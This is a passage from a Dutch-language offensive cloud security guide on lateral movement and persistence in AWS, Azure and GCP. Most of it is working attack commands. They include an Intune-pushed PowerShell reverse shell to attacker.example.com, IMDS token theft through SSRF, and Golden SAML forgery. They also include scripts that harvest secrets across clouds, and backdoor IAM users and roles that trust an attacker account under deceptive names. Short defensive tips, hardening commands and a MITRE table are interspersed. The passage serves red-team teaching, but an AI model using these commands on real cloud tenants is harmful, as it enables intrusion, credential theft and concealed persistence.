De omgekeerde weg is minstens zo interessant. Je hebt cloud-toegang en wilt het on-premise netwerk binnenkomen.

Azure AD Joined Devices

# Met Azure AD credentials kun je:
# 1. Primary Refresh Tokens (PRT) verkrijgen voor Azure AD joined devices
# 2. Via Intune commands pushen naar managed devices
# 3. Via Azure AD Connect wachtwoorden synchroniseren

# Methode: Intune command execution
# Als je Intune admin rechten hebt:
az rest --method POST \
  --url "https://graph.microsoft.com/beta/deviceManagement/deviceManagementScripts" \
  --body '{
    "displayName": "Compliance Check",
    "scriptContent": "<base64-encoded-powershell>",
    "runAsAccount": "system",
    "enforceSignatureCheck": false,
    "runAs32Bit": false
  }'

Intune Abuse

# PowerShell script dat via Intune wordt gepusht
# Dit draait als SYSTEM op het doeldevice

# Reverse shell naar C2
$client = New-Object System.Net.Sockets.TCPClient("attacker.example.com", 443)
$stream = $client.GetStream()
$writer = New-Object System.IO.StreamWriter($stream)
$writer.AutoFlush = $true
$reader = New-Object System.IO.StreamReader($stream)

while ($true) {
    $writer.Write("PS> ")
    $cmd = $reader.ReadLine()
    try {
        $output = Invoke-Expression $cmd 2>&1 | Out-String
        $writer.Write($output)
    } catch {
        $writer.Write($_.Exception.Message)
    }
}

IB Tip: Hybrid cloud-paden zijn bijzonder gevaarlijk omdat ze twee beveiligingsdomeinen overbruggen. Security teams die alleen cloud of alleen on-premise monitoren, missen deze cross-domain aanvallen. Een SIEM-correlatie die zowel CloudTrail/Azure Audit als on-premise event logs omvat, is essentieel.

9.4 Service-to-Service Movement

AWS: Lambda naar DynamoDB naar S3

In AWS zijn services aan elkaar gekoppeld via IAM-roles en resource policies. Elke service die je compromitteert, geeft potentieel toegang tot andere services.

# Stap 1: Compromitteer een Lambda functie (via event injection, SSRF, etc.)
# Bekijk de execution role
aws sts get-caller-identity
# Arn: arn:aws:sts::111111111111:assumed-role/LambdaProcessorRole/function-name

# Stap 2: Enumerate de rechten van deze role
# Welke policies zijn attached?
aws iam list-attached-role-policies --role-name LambdaProcessorRole
aws iam list-role-policies --role-name LambdaProcessorRole

# Stap 3: Ontdek DynamoDB tabellen
aws dynamodb list-tables
aws dynamodb describe-table --table-name UserData
aws dynamodb scan --table-name UserData --max-items 10

# Stap 4: Ontdek S3 buckets via DynamoDB data
aws dynamodb scan --table-name ConfigData \
  --filter-expression "contains(config_value, :s3)" \
  --expression-attribute-values '{":s3": {"S": "s3://"}}'

# Stap 5: Pivot naar S3
aws s3 ls s3://internal-data-bucket/
aws s3 cp s3://internal-data-bucket/secrets/api-keys.json ./

Service chain diagram:

Lambda (compromised)
    |
    | execution role: LambdaProcessorRole
    |
    +--→ DynamoDB (UserData, ConfigData)
    |       |
    |       | config bevat S3 bucket referenties
    |       | en database connection strings
    |       |
    +--→ S3 (internal-data-bucket)
    |       |
    |       | bucket bevat API keys, certificates
    |       |
    +--→ Secrets Manager
    |       |
    |       | secrets bevatten RDS credentials
    |       |
    +--→ RDS (PostgreSQL)
            |
            | database bevat customer data

Azure: Function naar Key Vault naar SQL

# Stap 1: Compromitteer een Azure Function met Managed Identity
# Haal tokens op voor verschillende services

# Key Vault token
KV_TOKEN=$(curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net/" \
  | jq -r '.access_token')

# Stap 2: Lees Key Vault secrets
curl -s -H "Authorization: Bearer $KV_TOKEN" \
  "https://company-keyvault.vault.azure.net/secrets?api-version=7.4" | jq '.value[].id'

# Haal een specifiek secret op (bijv. database connection string)
curl -s -H "Authorization: Bearer $KV_TOKEN" \
  "https://company-keyvault.vault.azure.net/secrets/SqlConnectionString?api-version=7.4" \
  | jq -r '.value'

# Stap 3: Gebruik de connection string om naar SQL te pivoten
# Connection string: Server=company-sql.database.windows.net;Database=production;...

# SQL token ophalen
SQL_TOKEN=$(curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://database.windows.net/" \
  | jq -r '.access_token')

# Query uitvoeren via de REST API
curl -s -X POST \
  "https://company-sql.database.windows.net/production/query" \
  -H "Authorization: Bearer $SQL_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"query": "SELECT TOP 10 * FROM Users"}'

Service Mesh Exploitation

In Kubernetes-omgevingen met een service mesh (Istio, Linkerd) is laterale beweging vaak triviaal zodra je in het mesh zit.

# Vanuit een gecompromitteerde pod in het mesh:

# Ontdek andere services
kubectl get services --all-namespaces

# Het mesh vertrouwt verkeer binnen het mesh (mTLS)
# Je kunt direct andere services aanroepen
curl http://payment-service.production.svc.cluster.local:8080/api/transactions

# Istio sidecar proxy informatie
curl localhost:15000/clusters  # Upstream clusters
curl localhost:15000/config_dump  # Volledige Envoy configuratie
curl localhost:15000/certs  # mTLS certificaten

# Als je de sidecar kunt bypassen:
# Direct naar de applicatie-poort (zonder mTLS)
curl http://10.0.0.15:8080/api/admin  # Pod IP, geen service DNS

9.5 Identity Federation Abuse

SAML Token Forgery

SAML (Security Assertion Markup Language) wordt gebruikt voor SSO tussen identity providers en service providers. Als je het signing-certificaat van de IdP hebt, kun je tokens forgen voor elke gebruiker.

# Golden SAML aanval -- vereist het ADFS token-signing certificaat

# Stap 1: Verkrijg het certificaat (zie sectie 9.3)

# Stap 2: Genereer een SAML assertion
# Gebruik shimit of vergelijkbare tools
python3 shimit.py \
  -idp "http://adfs.corp.local/adfs/services/trust" \
  -spn "urn:federation:MicrosoftOnline" \
  -cert stolen-adfs-signing.pfx \
  -u "globaladmin@company.com" \
  -n "Global Admin" \
  -id "RANDOM-ASSERTION-ID" \
  -o golden_saml.b64

# Stap 3: Gebruik de SAML assertion om een access token te krijgen
# Via de SAML-P endpoint van Azure AD
curl -X POST "https://login.microsoftonline.com/TENANT_ID/saml2" \
  -d "SAMLResponse=$(cat golden_saml.b64)"

OIDC Token Manipulation

OpenID Connect wordt steeds vaker gebruikt voor workload identity federation. De trust is gebaseerd op de issuer URL en audience claim.

# GCP Workload Identity Federation
# Als je een OIDC token kunt genereren van een vertrouwde issuer:

# Stap 1: Ontdek de federation configuratie
gcloud iam workload-identity-pools list --location=global
gcloud iam workload-identity-pools providers list \
  --workload-identity-pool=my-pool \
  --location=global

# Stap 2: Bekijk de provider configuratie
gcloud iam workload-identity-pools providers describe github-provider \
  --workload-identity-pool=my-pool \
  --location=global

# Output toont:
# - Issuer URI (bijv. https://token.actions.githubusercontent.com)
# - Attribute mapping
# - Attribute conditions

# Stap 3: Als je een GitHub Actions workflow kunt triggeren in een
# vertrouwde repository, krijg je een OIDC token dat GCP accepteert

AWS OIDC Federation:

# Bekijk OIDC providers in het account
aws iam list-open-id-connect-providers

# Bekijk de details van een provider
aws iam get-open-id-connect-provider \
  --open-id-connect-provider-arn arn:aws:iam::111111111111:oidc-provider/token.actions.githubusercontent.com

# Output:
# - ThumbprintList (certificaat verificatie)
# - ClientIDList (audience)
# - Url (issuer)

# Zoek roles die deze OIDC provider vertrouwen
aws iam list-roles | jq '.Roles[] |
  select(.AssumeRolePolicyDocument.Statement[] |
    .Principal.Federated // "" |
    contains("oidc-provider")
  ) | {RoleName, AssumeRolePolicyDocument}'

External Identity Provider Abuse

# Azure AD External Identity Providers
# Bekijk geconfigureerde external IdPs
az rest --method GET \
  --url "https://graph.microsoft.com/v1.0/identityProviders"

# Bekijk SAML/WS-Fed identity providers
az rest --method GET \
  --url "https://graph.microsoft.com/beta/domains" \
  --query "value[?authenticationType=='Federated']"

# Als je de externe IdP controleert of kunt compromitteren:
# - Genereer tokens voor willekeurige gebruikers
# - Bypass MFA (de IdP handelt de authenticatie af)
# - Creeer shadow accounts

IB Tip: Federation trust is transitief – als A vertrouwt B en B vertrouwt C, dan kan een compromittering van C leiden tot toegang tot A. Audit al je federation relationships regelmatig en verwijder verouderde trusts. Een vergeten SAML-trust met een voormalige partner is een open deur die niemand bewaakt.

9.6 Metadata Service Pivoting

Van SSRF naar Cloud Credentials

De Instance Metadata Service (IMDS) is beschikbaar op 169.254.169.254 (AWS, Azure, GCP) en geeft credentials aan de workload die erop draait. Een SSRF-kwetsbaarheid in een cloud-applicatie is effectief credential theft.

# AWS IMDSv1 (geen authenticatie vereist)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Geeft de role name terug
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2-Role-Name
# Geeft temporary credentials terug

# AWS IMDSv2 (vereist een token -- maar de SSRF kan dat ook ophalen)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  "http://169.254.169.254/latest/meta-data/iam/security-credentials/"

# Azure IMDS
curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# GCP Metadata
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

Chaining Metadata Across Services

De echte kracht zit in het chainen van metadata credentials. Je gebruikt de credentials van service A om bij service B te komen, waar je weer nieuwe credentials vindt.

# Scenario: SSRF in een web app op EC2

# Stap 1: SSRF naar IMDS -- verkrijg EC2 role credentials
# Via de SSRF kwetsbaarheid:
# GET /proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/WebAppRole

# Stap 2: Gebruik EC2 credentials om Secrets Manager te lezen
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."

aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id production/database

# Stap 3: De database credentials geven toegang tot RDS
# Connection string bevat: host, port, username, password

# Stap 4: In de database vind je referenties naar andere AWS services
psql "host=prod-db.cluster-abc.eu-west-1.rds.amazonaws.com user=admin password=..." \
  -c "SELECT * FROM config WHERE key LIKE '%aws%' OR key LIKE '%bucket%'"

# Stap 5: Die referenties bevatten een IAM user met long-lived credentials
# Nu heb je permanente toegang (geen temporary credentials meer)
SSRF → IMDS → EC2 Role → Secrets Manager → RDS → IAM User credentials
  |                                                        |
  v                                                        v
Temporary access                                    Permanent access
(uur geldig)                                        (tot key rotation)

ECS en EKS Metadata

Containers in ECS en EKS hebben hun eigen metadata-endpoints.

# ECS Task metadata
# Endpoint: http://169.254.170.2/v2/credentials/<GUID>
# De GUID staat in de AWS_CONTAINER_CREDENTIALS_RELATIVE_URI env var

curl "http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}"

# EKS Pod metadata
# Via de projected service account token
cat /var/run/secrets/kubernetes.io/serviceaccount/token

# Via de IMDS (als de pod er toegang toe heeft)
# IMDSv2 met hop limit -- pods moeten een extra hop maken
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# Dit failt als de hop limit op 1 staat (best practice)

# IRSA (IAM Roles for Service Accounts)
# Token wordt gemount als file
cat /var/run/secrets/eks.amazonaws.com/serviceaccount/token
# Dit is een OIDC token dat je kunt gebruiken met AssumeRoleWithWebIdentity

9.7 Multi-Cloud Laterale Beweging

AWS naar Azure via Shared Credentials

De meest voorkomende multi-cloud beweging: dezelfde credentials worden in beide clouds gebruikt.

# Stap 1: Vind Azure credentials in AWS
# In Secrets Manager
aws secretsmanager list-secrets --query 'SecretList[?Name contains `azure`]'
aws secretsmanager get-secret-value --secret-id azure-service-principal

# In SSM Parameter Store
aws ssm get-parameters-by-path --path /azure/ --recursive --with-decryption

# In S3 configuratie-bestanden
aws s3 ls s3://config-bucket/ --recursive | grep -i azure
aws s3 cp s3://config-bucket/terraform/azure.tfvars ./

# In Lambda environment variables
aws lambda list-functions --query 'Functions[].FunctionName' --output text | \
  while read fn; do
    vars=$(aws lambda get-function-configuration --function-name "$fn" \
      --query 'Environment.Variables' 2>/dev/null)
    if echo "$vars" | grep -qi "azure\|tenant\|client_id"; then
      echo "=== $fn ==="
      echo "$vars"
    fi
  done

# Stap 2: Gebruik de gevonden Azure SP credentials
az login --service-principal \
  -u "APPLICATION_ID" \
  -p "CLIENT_SECRET" \
  --tenant "TENANT_ID"

# Stap 3: Enumerate Azure resources
az resource list --query '[].{name:name, type:type, rg:resourceGroup}' -o table

GCP naar AWS via Workload Identity Federation

# GCP Workload Identity Federation kan AWS roles assumen
# als er een trust relationship is geconfigureerd

# Stap 1: Vanuit een gecompromitteerde GCP service account
# Genereer een ID token
gcloud auth print-identity-token \
  --impersonate-service-account=compromised-sa@project.iam.gserviceaccount.com \
  --audiences="sts.amazonaws.com"

# Stap 2: Gebruik het GCP ID token om een AWS role te assumen
aws sts assume-role-with-web-identity \
  --role-arn arn:aws:iam::111111111111:role/GCPFederatedRole \
  --role-session-name gcp-pivot \
  --web-identity-token "$(gcloud auth print-identity-token ...)"

# Stap 3: Nu heb je AWS credentials vanuit GCP
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."
aws sts get-caller-identity

Multi-Cloud Discovery Script

#!/bin/bash
# multi-cloud-discover.sh -- ontdek cross-cloud referenties

echo "=== AWS: Zoek Azure/GCP referenties ==="
# Secrets Manager
aws secretsmanager list-secrets 2>/dev/null | \
  jq -r '.SecretList[].Name' | grep -iE 'azure|gcp|google|tenant|client.id'

# SSM Parameters
aws ssm describe-parameters 2>/dev/null | \
  jq -r '.Parameters[].Name' | grep -iE 'azure|gcp|google|tenant|client.id'

# Environment variables in Lambda
for fn in $(aws lambda list-functions --query 'Functions[].FunctionName' --output text 2>/dev/null); do
  aws lambda get-function-configuration --function-name "$fn" \
    --query 'Environment.Variables' 2>/dev/null | \
    grep -qiE 'azure|gcp|google|tenant' && echo "Lambda: $fn has cross-cloud refs"
done

echo ""
echo "=== Azure: Zoek AWS/GCP referenties ==="
# Key Vault secrets
for vault in $(az keyvault list --query '[].name' -o tsv 2>/dev/null); do
  az keyvault secret list --vault-name "$vault" --query '[].name' -o tsv 2>/dev/null | \
    grep -iE 'aws|gcp|google|access.key|secret.key'
done

# App Settings
for app in $(az webapp list --query '[].name' -o tsv 2>/dev/null); do
  rg=$(az webapp show --name "$app" --query 'resourceGroup' -o tsv)
  az webapp config appsettings list --name "$app" --resource-group "$rg" 2>/dev/null | \
    jq -r '.[].name' | grep -iE 'aws|gcp|google|access.key'
done

echo ""
echo "=== GCP: Zoek AWS/Azure referenties ==="
# Secret Manager
for secret in $(gcloud secrets list --format='value(name)' 2>/dev/null); do
  echo "$secret" | grep -iE 'aws|azure|tenant|access.key' && \
    echo "  ^ GCP Secret: $secret"
done

9.8 Network-Based Movement

VPC Peering

VPC peering creert een directe netwerkverbinding tussen twee VPC’s. Het verkeer gaat over het backbone-netwerk van de provider – maar het is wel routeerbaar.

# Ontdek VPC peering connections
aws ec2 describe-vpc-peering-connections \
  --query 'VpcPeeringConnections[].{
    Id:VpcPeeringConnectionId,
    Status:Status.Code,
    Requester:RequesterVpcInfo.{VpcId:VpcId,CidrBlock:CidrBlock,OwnerId:OwnerId},
    Accepter:AccepterVpcInfo.{VpcId:VpcId,CidrBlock:CidrBlock,OwnerId:OwnerId}
  }'

# Bekijk de route tables -- welke CIDR blocks zijn bereikbaar via peering?
aws ec2 describe-route-tables \
  --query 'RouteTables[].Routes[?VpcPeeringConnectionId!=`null`].{
    Destination:DestinationCidrBlock,
    PeeringConnection:VpcPeeringConnectionId,
    Status:State
  }'

# Scan het peer-netwerk vanuit een EC2 instance
# (als security groups het toestaan)
nmap -sn 10.1.0.0/16  # CIDR van de gepeerede VPC

VPN Gateway Exploitation

# Azure VPN Gateways
az network vnet-gateway list \
  --query '[].{name:name, rg:resourceGroup, type:vpnType, connections:vpnClientConfiguration}'

# Bekijk VPN connections
az network vpn-connection list \
  --query '[].{name:name, type:connectionType, sharedKey:sharedKey}'
# Ja, soms kun je de shared key gewoon opvragen

# AWS Site-to-Site VPN
aws ec2 describe-vpn-connections \
  --query 'VpnConnections[].{
    Id:VpnConnectionId,
    State:State,
    CustomerGateway:CustomerGatewayId,
    VpnGateway:VpnGatewayId
  }'

# Download de VPN configuratie (bevat pre-shared keys)
aws ec2 describe-vpn-connections \
  --vpn-connection-ids vpn-abc123 \
  --query 'VpnConnections[0].CustomerGatewayConfiguration'

Transit Gateway

AWS Transit Gateway verbindt meerdere VPC’s en on-premise netwerken als een hub.

# Ontdek Transit Gateways
aws ec2 describe-transit-gateways \
  --query 'TransitGateways[].{Id:TransitGatewayId, State:State, OwnerId:OwnerId}'

# Bekijk welke VPC's en VPN's verbonden zijn
aws ec2 describe-transit-gateway-attachments \
  --query 'TransitGatewayAttachments[].{
    Id:TransitGatewayAttachmentId,
    Type:ResourceType,
    ResourceId:ResourceId,
    State:State
  }'

# Bekijk de route tables
aws ec2 describe-transit-gateway-route-tables \
  --query 'TransitGatewayRouteTables[].TransitGatewayRouteTableId' --output text | \
  while read rt; do
    echo "=== Route Table: $rt ==="
    aws ec2 search-transit-gateway-routes \
      --transit-gateway-route-table-id "$rt" \
      --filters "Name=state,Values=active" \
      --query 'Routes[].{Destination:DestinationCidrBlock,Type:Type,Attachment:TransitGatewayAttachments[0].TransitGatewayAttachmentId}'
  done

AWS PrivateLink en Azure Private Endpoint maken services bereikbaar via private IP-adressen. Maar de trust is vaak te ruim geconfigureerd.

# Ontdek VPC Endpoints (PrivateLink)
aws ec2 describe-vpc-endpoints \
  --query 'VpcEndpoints[].{
    Id:VpcEndpointId,
    Service:ServiceName,
    Type:VpcEndpointType,
    State:State,
    PrivateDns:PrivateDnsEnabled
  }'

# Ontdek endpoint services (services die via PrivateLink worden aangeboden)
aws ec2 describe-vpc-endpoint-services \
  --query 'ServiceDetails[?Owner!=`amazon`].{
    Service:ServiceName,
    Owner:Owner,
    Type:ServiceType
  }'

# Azure Private Endpoints
az network private-endpoint list \
  --query '[].{name:name, rg:resourceGroup, subnet:subnet.id, connections:privateLinkServiceConnections[].{service:privateLinkServiceId, status:privateLinkServiceConnectionState.status}}'

# Als je in een VPC zit met een PrivateLink naar een andere account's service:
# Je kunt die service bereiken via het private IP
# Zonder dat het verkeer het publieke internet raakt

IB Tip: Netwerk-gebaseerde laterale beweging in de cloud wordt vaak over het hoofd gezien omdat “alles API-based is.” Maar VPC peering, Transit Gateways, en PrivateLink creeren echte netwerkpaden die traditionele network-based attacks mogelijk maken. Een security group die 0.0.0.0/0 toestaat op een gepeerede VPC is net zo erg als een open firewall-regel.

Verdedigingsmaatregelen

Zero Trust Architectuur

Principe                          Implementatie
+-------------------------------+------------------------------------------+
| Verify explicitly             | MFA op alle accounts, conditional access |
| Least privilege access        | JIT access, time-bound role assignments  |
| Assume breach                 | Micro-segmentatie, monitoring            |
| Verify every transaction      | API-level authorization, not just authn  |
| Limit blast radius            | Account isolation, service boundaries    |
+-------------------------------+------------------------------------------+
# AWS: Implementeer permission boundaries
aws iam put-role-permissions-boundary \
  --role-name DeveloperRole \
  --permissions-boundary arn:aws:iam::111111111111:policy/DeveloperBoundary

# Azure: Implementeer Conditional Access
az rest --method POST \
  --url "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies" \
  --body '{
    "displayName": "Require MFA for role assumption",
    "state": "enabled",
    "conditions": {
      "applications": {"includeApplications": ["All"]},
      "users": {"includeRoles": ["ROLE_ID"]}
    },
    "grantControls": {
      "operator": "OR",
      "builtInControls": ["mfa"]
    }
  }'

Network Segmentation

# AWS: Restrictieve security groups voor peered VPCs
aws ec2 create-security-group \
  --group-name restricted-peering \
  --description "Alleen noodzakelijk verkeer via peering" \
  --vpc-id vpc-abc123

aws ec2 authorize-security-group-ingress \
  --group-id sg-xyz789 \
  --protocol tcp \
  --port 443 \
  --cidr 10.1.0.0/24  # Alleen specifieke subnet, niet hele VPC

# Azure: NSG op subnet level
az network nsg rule create \
  --nsg-name restricted-nsg \
  --resource-group prod-rg \
  --name deny-lateral \
  --priority 100 \
  --direction Inbound \
  --access Deny \
  --source-address-prefixes "10.0.0.0/8" \
  --destination-port-ranges "*"

Cross-Account Audit

# AWS: Organization-wide CloudTrail
aws cloudtrail create-trail \
  --name org-trail \
  --s3-bucket-name org-audit-logs \
  --is-organization-trail \
  --is-multi-region-trail \
  --enable-log-file-validation

# Monitor AssumeRole events
aws logs filter-log-events \
  --log-group-name CloudTrail/org-trail \
  --filter-pattern '{ $.eventName = "AssumeRole" && $.requestParameters.roleArn = "*cross-account*" }'

# Azure: Activity Log forwarding naar central SIEM
az monitor diagnostic-settings create \
  --name "central-audit" \
  --resource "/subscriptions/SUB_ID" \
  --logs '[{"category": "Administrative", "enabled": true}]' \
  --workspace "/subscriptions/SUB_ID/resourceGroups/rg/providers/Microsoft.OperationalInsights/workspaces/central-siem"

Referentietabel

Techniek MITRE ATT&CK AWS Azure GCP
Cross-account role assumption T1550.001 - Application Access Token sts:AssumeRole chains Lighthouse delegations Service account impersonation
Hybrid AD pivot T1078.004 - Cloud Accounts N/A Azure AD Connect, ADFS Google Cloud Directory Sync
SAML token forgery T1606.002 - SAML Tokens SAML federation abuse Golden SAML via ADFS SAML IdP compromise
OIDC federation abuse T1550.001 - Application Access Token Web Identity Federation Workload Identity Workload Identity Federation
SSRF to IMDS T1552.005 - Cloud Instance Metadata IMDSv1/v2 (169.254.169.254) IMDS (169.254.169.254) Metadata (metadata.google.internal)
Service-to-service pivot T1021.007 - Cloud Services Lambda→DynamoDB→S3 Function→Key Vault→SQL Function→Firestore→GCS
VPC peering exploitation T1599 - Network Boundary Bridging VPC Peering, Transit Gateway VNet Peering, vWAN VPC Network Peering
Managed identity abuse T1550.001 - Application Access Token EC2 instance profiles Managed Identity (system/user) Service account tokens
Multi-cloud credential reuse T1078.004 - Cloud Accounts Credentials in Secrets Manager Credentials in Key Vault Credentials in Secret Manager
Intune command push T1072 - Software Deployment Tools N/A (use SSM) Intune scripts/config N/A
PrivateLink abuse T1599.001 - Network Address Translation VPC Endpoints Private Endpoints Private Service Connect
VPN configuration theft T1120 - Peripheral Device Discovery Site-to-Site VPN configs VPN Gateway shared keys Cloud VPN tunnels
Container metadata T1552.005 - Cloud Instance Metadata ECS task metadata, EKS IRSA AKS pod identity GKE workload identity
Service mesh pivot T1021.007 - Cloud Services App Mesh exploitation N/A Anthos Service Mesh
Federation trust abuse T1484.002 - Trust Modification IAM OIDC providers External identity providers Workload Identity pools

In de cloud beweeg je niet van machine naar machine. Je beweegt van vertrouwen naar vertrouwen. En vertrouwen, zo blijkt, is bijna altijd misconfigured.

Cloud Persistentie

Cloud Persistentie

Waarin we ontdekken dat vertrekken uit de cloud moeilijker is dan erin komen – voor zowel de aanvaller als de verdediger

Persistentie. In de on-premise wereld betekent het scheduled tasks, registry run keys, DLL hijacking, en service creation. Bekende technieken, goed gedocumenteerd, en met een beetje geluk opgepikt door een fatsoenlijke EDR-oplossing. De cloud is een ander verhaal. Hier gaat persistentie niet over het overleven van een reboot. Hier gaat het over het overleven van een credential rotation, een incident response, en zelfs een complete account-migratie.

Het fundamentele probleem met cloud-persistentie is dat het onzichtbaar is. Een extra IAM-user in een account met 200 users valt niet op. Een trust policy-wijziging op een role die door drie teams wordt beheerd, merkt niemand op. Een OAuth app registration met Graph API-rechten? Die staat tussen de honderden andere apps die ooit door iemand zijn aangemaakt en nooit meer zijn verwijderd.

De ironie is dat dezelfde features die cloud-management makkelijk maken – IAM, federation, automation – ook persistentie makkelijk maken. Het zijn geen exploits. Het zijn features. En dat maakt detectie zo ongelofelijk lastig.

IB Tip: Cloud-persistentie wordt bijna nooit ontdekt door automatische tooling. Het vereist een baseline van “wat hoort hier te staan” en een regelmatige audit van “wat staat hier nu.” Zonder die baseline is elke backdoor gewoon een legitieme configuratie.

10.1 Persistentie in de Cloud

Waarom Cloud Persistentie Anders Is

On-Premise Persistentie                Cloud Persistentie
+-----------------------------------+  +-----------------------------------+
| - Scheduled Tasks                 |  | - IAM users/roles/policies        |
| - Registry Run Keys              |  | - OAuth app registrations         |
| - Service Installation           |  | - Federation trust configs        |
| - DLL Hijacking                  |  | - Event-triggered functions       |
| - WMI Event Subscriptions        |  | - Compute startup scripts         |
| - Boot/Logon Scripts             |  | - Storage event notifications     |
| - Malicious Drivers              |  | - DNS record manipulation         |
|                                   |  | - Token/certificate persistence   |
| Overleeft: reboot                |  | Overleeft: credential rotation,   |
| Detectie: EDR, process monitoring|  | IR cleanup, account migration     |
| Cleanup: re-image                |  | Detectie: config audit, log review|
+-----------------------------------+  | Cleanup: ???                      |
                                       +-----------------------------------+

De Persistentie Piramide

Niet alle persistentie-technieken zijn gelijk. Sommige overleven een wachtwoordreset. Andere overleven een complete incident response. De meest geavanceerde overleven zelfs een migratie naar een nieuw cloud-account.

Moeilijkheid van detectie / Robuustheid
         ^
         |
   Hoog  | Golden SAML (ADFS cert theft)
         | Token signing key persistence
         | Cross-account role backdoors
         |---
   Midden| OAuth app registrations
         | Automation runbooks
         | Lambda triggers + EventBridge
         | Compute startup scripts
         |---
   Laag  | Extra IAM users
         | Extra access keys
         | Security group wijzigingen
         |
         +--------------------------------------->
                Eenvoud van implementatie

10.2 IAM Backdoors

Extra Access Keys

De eenvoudigste vorm van persistentie: voeg een extra set access keys toe aan een bestaande user. Elke IAM-user kan twee sets access keys hebben.

# Creeer een extra access key voor een bestaande user
aws iam create-access-key --user-name existing-admin-user

# Output:
# {
#   "AccessKey": {
#     "UserName": "existing-admin-user",
#     "AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
#     "Status": "Active",
#     "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
#   }
# }

# Check hoeveel keys een user heeft
aws iam list-access-keys --user-name existing-admin-user

# Dit valt op bij een audit -- maar wie doet er een audit?

Subtielere variant: voeg keys toe aan een service account die niemand monitort:

# Zoek service accounts / system users die niet interactief worden gebruikt
aws iam list-users --query 'Users[?PasswordLastUsed==`null`].UserName'

# Of users die al lang bestaan en nooit zijn geaudit
aws iam list-users --query 'Users[?CreateDate<`2023-01-01`].{User:UserName,Created:CreateDate}'

# Voeg een access key toe aan een vergeten service account
aws iam create-access-key --user-name legacy-backup-service

IB Tip: AWS IAM Access Analyzer kan unused access detecteren, maar het moet wel worden ingeschakeld. Veel organisaties draaien het niet. Controleer regelmatig op users met meerdere access keys: aws iam generate-credential-report && aws iam get-credential-report --query Content --output text | base64 -d | grep -c "true.*true" (telt users met twee actieve key sets).

Backdoor IAM Users en Roles

# Creeer een onopvallende IAM user
aws iam create-user --user-name CloudFormation-Deployer-prod
# Naam lijkt op een service account

# Geef admin rechten via een inline policy (minder zichtbaar dan managed policy)
aws iam put-user-policy \
  --user-name CloudFormation-Deployer-prod \
  --policy-name DeploymentAccess \
  --policy-document '{
    "Version": "2012-10-17",
    "Statement": [{
      "Effect": "Allow",
      "Action": "*",
      "Resource": "*"
    }]
  }'

# Creeer access keys
aws iam create-access-key --user-name CloudFormation-Deployer-prod

# Creeer een login profile (console access) met een wachtwoord
aws iam create-login-profile \
  --user-name CloudFormation-Deployer-prod \
  --password 'C0mpl3x-P@ssw0rd-2024!' \
  --no-password-reset-required

Backdoor role met cross-account trust:

# Creeer een role die je vanuit een ander account kunt assumen
aws iam create-role \
  --role-name EmergencyBreakGlass \
  --assume-role-policy-document '{
    "Version": "2012-10-17",
    "Statement": [{
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::ATTACKER_ACCOUNT:root"
      },
      "Action": "sts:AssumeRole",
      "Condition": {}
    }]
  }'

# Attach admin policy
aws iam attach-role-policy \
  --role-name EmergencyBreakGlass \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# Nu kun je vanuit je eigen account:
aws sts assume-role \
  --role-arn arn:aws:iam::VICTIM_ACCOUNT:role/EmergencyBreakGlass \
  --role-session-name maintenance

Trust Policy Manipulation

Subtiele wijzigingen aan bestaande trust policies zijn moeilijker te detecteren dan het aanmaken van nieuwe resources.

# Haal de huidige trust policy op
aws iam get-role --role-name ExistingAdminRole \
  --query 'Role.AssumeRolePolicyDocument' > trust-policy.json

# Voeg een extra principal toe
# Origineel:
# "Principal": {"AWS": "arn:aws:iam::111111111111:role/LegitRole"}
#
# Gewijzigd:
# "Principal": {"AWS": [
#   "arn:aws:iam::111111111111:role/LegitRole",
#   "arn:aws:iam::ATTACKER_ACCOUNT:root"
# ]}

# Update de trust policy
aws iam update-assume-role-policy \
  --role-name ExistingAdminRole \
  --policy-document file://modified-trust-policy.json

Azure variant: voeg een extra owner toe aan een subscription:

# Voeg een service principal toe als Contributor (niet Owner -- dat valt te veel op)
az role assignment create \
  --assignee "ATTACKER_SP_OBJECT_ID" \
  --role "Contributor" \
  --scope "/subscriptions/VICTIM_SUB_ID"

# Of voeg een custom role toe met specifieke rechten
az role definition create --role-definition '{
  "Name": "Diagnostics Reader",
  "Description": "Read diagnostic settings",
  "Actions": ["*"],
  "NotActions": [],
  "AssignableScopes": ["/subscriptions/VICTIM_SUB_ID"]
}'
# Een role genaamd "Diagnostics Reader" met Action "*" -- wie leest de details?

Cross-Account Roles als Persistentie

# AWS Organizations -- creeer een role in een member account
# vanuit het management account

# In het management account:
aws organizations list-accounts --query 'Accounts[].{Id:Id, Name:Name}'

# Assume de OrganizationAccountAccessRole in een member account
aws sts assume-role \
  --role-arn arn:aws:iam::MEMBER_ACCOUNT:role/OrganizationAccountAccessRole \
  --role-session-name org-admin

# Creeer een backdoor role in het member account
aws iam create-role \
  --role-name AWSServiceRoleForConfig \
  --assume-role-policy-document '{
    "Version": "2012-10-17",
